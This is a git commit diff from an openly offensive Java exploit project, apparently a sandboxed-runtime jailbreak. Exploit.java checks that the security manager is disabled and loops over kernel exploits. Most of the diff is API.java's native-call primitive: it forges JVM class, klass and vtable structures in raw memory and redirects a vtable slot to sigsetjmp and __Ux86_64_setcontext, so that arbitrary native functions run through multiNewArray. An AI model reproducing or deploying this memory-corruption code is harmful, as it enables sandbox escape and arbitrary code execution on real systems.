Optimize native calls.

This commit is contained in:
Andy Nguyen 2024-11-28 23:37:39 +01:00
parent 44713ef59f
commit be9a9319e6
2 changed files with 130 additions and 69 deletions

View File

@ -34,6 +34,22 @@ public class Exploit {
if (System.getSecurityManager() != null) { if (System.getSecurityManager() != null) {
Screen.println("[-] Error could not disable security manager."); Screen.println("[-] Error could not disable security manager.");
return;
}
Screen.println("[*] Exploiting kernel...");
Class[] kernelExploits = new Class[] {};
for (int i = 0; i < kernelExploits.length; i++) {
try {
ExploitKernelInterface exploit = (ExploitKernelInterface) kernelExploits[i].newInstance();
if (exploit.trigger()) {
break;
}
} catch (Exception e) {
continue;
}
} }
} }
} }

View File

@ -27,7 +27,7 @@ public final class API {
private static final String JAVA_JAVA_LANG_REFLECT_ARRAY_MULTI_NEW_ARRAY_SYMBOL = private static final String JAVA_JAVA_LANG_REFLECT_ARRAY_MULTI_NEW_ARRAY_SYMBOL =
"Java_java_lang_reflect_Array_multiNewArray"; "Java_java_lang_reflect_Array_multiNewArray";
private static final String JVM_NATIVE_PATH_SYMBOL = "JVM_NativePath"; private static final String JVM_NATIVE_PATH_SYMBOL = "JVM_NativePath";
private static final String SETJMP_SYMBOL = "setjmp"; private static final String SIGSETJMP_SYMBOL = "sigsetjmp";
private static final String UX86_64_SETCONTEXT_SYMBOL = "__Ux86_64_setcontext"; private static final String UX86_64_SETCONTEXT_SYMBOL = "__Ux86_64_setcontext";
private static final String ERROR_SYMBOL = "__error"; private static final String ERROR_SYMBOL = "__error";
@ -45,6 +45,8 @@ public final class API {
private static API instance; private static API instance;
private static ThreadLocal callContexts = new ThreadLocal();
private UnsafeInterface unsafe; private UnsafeInterface unsafe;
private long longValueOffset; private long longValueOffset;
@ -57,7 +59,7 @@ public final class API {
private long Java_java_lang_reflect_Array_multiNewArray; private long Java_java_lang_reflect_Array_multiNewArray;
private long JVM_NativePath; private long JVM_NativePath;
private long setjmp; private long sigsetjmp;
private long __Ux86_64_setcontext; private long __Ux86_64_setcontext;
private long __error; private long __error;
@ -157,9 +159,9 @@ public final class API {
throw new InternalError("Java_java_lang_reflect_Array_multiNewArray not found"); throw new InternalError("Java_java_lang_reflect_Array_multiNewArray not found");
} }
setjmp = dlsym(LIBC_MODULE_HANDLE, SETJMP_SYMBOL); sigsetjmp = dlsym(LIBKERNEL_MODULE_HANDLE, SIGSETJMP_SYMBOL);
if (setjmp == 0) { if (sigsetjmp == 0) {
throw new InternalError("setjmp not found"); throw new InternalError("sigsetjmp not found");
} }
__error = dlsym(LIBKERNEL_MODULE_HANDLE, ERROR_SYMBOL); __error = dlsym(LIBKERNEL_MODULE_HANDLE, ERROR_SYMBOL);
@ -275,82 +277,79 @@ public final class API {
} }
public long call(long func, long arg0, long arg1, long arg2, long arg3, long arg4, long arg5) { public long call(long func, long arg0, long arg1, long arg2, long arg3, long arg4, long arg5) {
long fakeClassOop = malloc(Int64.SIZE); long ret = 0;
long fakeClass = malloc(0x100);
long fakeKlass = malloc(0x200);
long fakeKlassVtable = malloc(0x400);
if (fakeClassOop == 0 || fakeClass == 0 || fakeKlass == 0 || fakeKlassVtable == 0) { // When func is 0, only do one iteration to avoid calling __Ux86_64_setcontext.
throw new OutOfMemoryError("malloc failed"); // This is used to "train" this function to kick in optimization early. Otherwise, it is
} // possible that optimization kicks in between the calls to sigsetjmp and __Ux86_64_setcontext
// leading to different stack layouts of the two calls.
int iter = func == 0 ? 1 : 2;
try { CallContext callContext = getCallContext();
long ret = 0;
// When func is 0, only do one iteration to avoid calling __Ux86_64_setcontext. if (jdk11) {
// This is used to "train" this function to kick in optimization early. Otherwise, it is write32(callContext.fakeKlass + 0xC4, 0); // dimension
// possible that optimization kicks in between the calls to setjmp and __Ux86_64_setcontext
// leading to different stack layouts of the two calls.
int iter = func == 0 ? 1 : 2;
if (jdk11) { for (int i = 0; i < iter; i++) {
write64(fakeClassOop + 0x00, fakeClass); write64(callContext.fakeKlass + 0x00, callContext.fakeKlassVtable);
write64(fakeClass + 0x98, fakeKlass); write64(callContext.fakeKlass + 0x00, callContext.fakeKlassVtable);
write32(fakeKlass + 0xC4, 0); // dimension if (i == 0) {
write64(fakeKlassVtable + 0xD8, JVM_NativePath); // array_klass write64(callContext.fakeKlassVtable + 0x158, sigsetjmp + 0x23); // multi_allocate
} else {
for (int i = 0; i < iter; i++) { write64(
write64(fakeKlass + 0x00, fakeKlassVtable); callContext.fakeKlassVtable + 0x158, __Ux86_64_setcontext + 0x39); // multi_allocate
write64(fakeKlass + 0x00, fakeKlassVtable);
if (i == 0) {
write64(fakeKlassVtable + 0x158, setjmp); // multi_allocate
} else {
write64(fakeKlassVtable + 0x158, __Ux86_64_setcontext); // multi_allocate
}
ret = multiNewArray(fakeClassOop, MULTI_NEW_ARRAY_DIMENSIONS);
if (i == 0) {
buildContext(
fakeKlass + 0x00, fakeKlass + 0x00, func, arg0, arg1, arg2, arg3, arg4, arg5);
}
} }
} else {
write64(fakeClassOop + 0x00, fakeClass);
write64(fakeClass + 0x68, fakeKlass);
write32(fakeKlass + 0xBC, 0); // dimension
write64(fakeKlassVtable + 0x80, JVM_NativePath); // array_klass
write64(fakeKlassVtable + 0xF0, JVM_NativePath); // oop_is_array
for (int i = 0; i < iter; i++) { ret = multiNewArray(callContext.fakeClassOop, MULTI_NEW_ARRAY_DIMENSIONS);
write64(fakeKlass + 0x10, fakeKlassVtable);
write64(fakeKlass + 0x20, fakeKlassVtable);
if (i == 0) {
write64(fakeKlassVtable + 0x230, setjmp); // multi_allocate
} else {
write64(fakeKlassVtable + 0x230, __Ux86_64_setcontext); // multi_allocate
}
ret = multiNewArray(fakeClassOop, MULTI_NEW_ARRAY_DIMENSIONS); if (i == 0) {
buildContext(
if (i == 0) { callContext.fakeKlass + 0x00,
buildContext( callContext.fakeKlass + 0x00,
fakeKlass + 0x20, fakeKlass + 0x20, func, arg0, arg1, arg2, arg3, arg4, arg5); func,
} arg0,
arg1,
arg2,
arg3,
arg4,
arg5);
} }
} }
} else {
write32(callContext.fakeKlass + 0xBC, 0); // dimension
if (ret == 0) { for (int i = 0; i < iter; i++) {
return 0; write64(callContext.fakeKlass + 0x10, callContext.fakeKlassVtable);
write64(callContext.fakeKlass + 0x20, callContext.fakeKlassVtable);
if (i == 0) {
write64(callContext.fakeKlassVtable + 0x230, sigsetjmp + 0x23); // multi_allocate
} else {
write64(
callContext.fakeKlassVtable + 0x230, __Ux86_64_setcontext + 0x39); // multi_allocate
}
ret = multiNewArray(callContext.fakeClassOop, MULTI_NEW_ARRAY_DIMENSIONS);
if (i == 0) {
buildContext(
callContext.fakeKlass + 0x20,
callContext.fakeKlass + 0x20,
func,
arg0,
arg1,
arg2,
arg3,
arg4,
arg5);
}
} }
return read64(ret);
} finally {
free(fakeKlassVtable);
free(fakeKlass);
free(fakeClass);
free(fakeClassOop);
} }
if (ret == 0) {
return 0;
}
return read64(ret);
} }
public long call(long func, long arg0, long arg1, long arg2, long arg3, long arg4) { public long call(long func, long arg0, long arg1, long arg2, long arg3, long arg4) {
@ -586,4 +585,50 @@ public final class API {
System.arraycopy(str.getBytes(), 0, bytes, 0, str.length()); System.arraycopy(str.getBytes(), 0, bytes, 0, str.length());
return bytes; return bytes;
} }
private CallContext getCallContext() {
CallContext callContext = (CallContext) callContexts.get();
if (callContext != null) {
return callContext;
}
callContext = new CallContext();
callContexts.set(callContext);
return callContext;
}
class CallContext {
long fakeClassOop;
long fakeClass;
long fakeKlass;
long fakeKlassVtable;
private long callBuffer;
CallContext() {
callBuffer = malloc(Int64.SIZE + 0x100 + 0x200 + 0x400);
if (callBuffer == 0) {
throw new OutOfMemoryError("malloc failed");
}
fakeClassOop = callBuffer;
fakeClass = fakeClassOop + Int64.SIZE;
fakeKlass = fakeClass + 0x100;
fakeKlassVtable = fakeKlass + 0x200;
if (jdk11) {
write64(fakeClassOop + 0x00, fakeClass);
write64(fakeClass + 0x98, fakeKlass);
write64(fakeKlassVtable + 0xD8, JVM_NativePath); // array_klass
} else {
write64(fakeClassOop + 0x00, fakeClass);
write64(fakeClass + 0x68, fakeKlass);
write64(fakeKlassVtable + 0x80, JVM_NativePath); // array_klass
write64(fakeKlassVtable + 0xF0, JVM_NativePath); // oop_is_array
}
}
protected void finalize() {
free(callBuffer);
}
}
} }